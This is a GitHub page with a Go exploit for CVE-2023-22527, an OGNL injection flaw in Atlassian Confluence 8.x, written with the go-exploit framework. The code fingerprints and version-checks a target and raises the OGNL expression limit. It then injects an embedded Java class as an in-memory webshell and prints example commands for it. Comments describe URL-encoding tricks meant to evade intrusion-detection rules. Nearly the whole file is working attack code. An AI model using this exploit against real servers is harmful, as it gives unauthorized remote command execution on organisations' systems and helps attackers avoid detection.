-
Notifications
You must be signed in to change notification settings - Fork 1
/
cve-2023-22527.go
198 lines (159 loc) · 6.25 KB
/
cve-2023-22527.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
package main
import (
_ "embed"
b64 "encoding/base64"
"encoding/binary"
"regexp"
"strconv"
"strings"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
"github.com/vulncheck-oss/go-exploit/transform"
)
//go:embed ABCDEFG.class
var webshellClass string
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
if !strings.Contains(bodyString, "Atlassian Confluence") {
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
return exploit.Unknown
}
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
// Send a request that encresses the max OGNL size so that we can send our payload.
func adjustExpressLength(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
// URL encoding everything bypasses ET rules
params := map[string]string{
"label": transform.URLEncodeString(unused) + `\u0027` +
transform.URLEncodeString("+#request.get(") + `\u0027` + transform.URLEncodeString(`.KEY_velocity.struts2.context`) + `\u0027` +
transform.URLEncodeString(`).internalGet(`) + `\u0027` +
transform.URLEncodeString(`ognl`) + `\u0027` +
transform.URLEncodeString(`).findValue(#parameters.`+param+",{})+") + `\u0027`,
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return false
}
return true
}
func sendWebshell(conf *config.Config) (string, bool) {
// replace the predefined Class name and command param
classSize := make([]byte, 2)
classString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))
uniqWebshellClass := strings.ReplaceAll(webshellClass, "\x00\x07ABCDEFG", string(classSize)+classString)
shellSize := make([]byte, 2)
shellString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(shellSize, uint16(len(shellString)))
uniqWebshellClass = strings.ReplaceAll(uniqWebshellClass, "\x00\x0cAAAAAAAAAAAA", string(shellSize)+shellString)
// base64 encode the webshell so we can send it across the wire
encodedShell := b64.StdEncoding.EncodeToString([]byte(uniqWebshellClass))
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending class %s to %s", classString, uri)
params := map[string]string{
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + classString +
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
"'),@java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance(@org.apache.struts2.ServletActionContext@getRequest().getServletContext())"),
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
param + `,{})+\u0027`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return "", false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return "", false
}
return shellString, true
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if !adjustExpressLength(conf) {
return false
}
shellString, ok := sendWebshell(conf)
if !ok {
return false
}
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
output.PrintfSuccess("In memory webshell available using %s param", shellString)
output.PrintfSuccess("Example usage: curl -kv %s?%s=whoami", uri, shellString)
return true
}
func main() {
conf := config.New(config.Webshell, []c2.Impl{}, "Confluence", "CVE-2023-22527", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}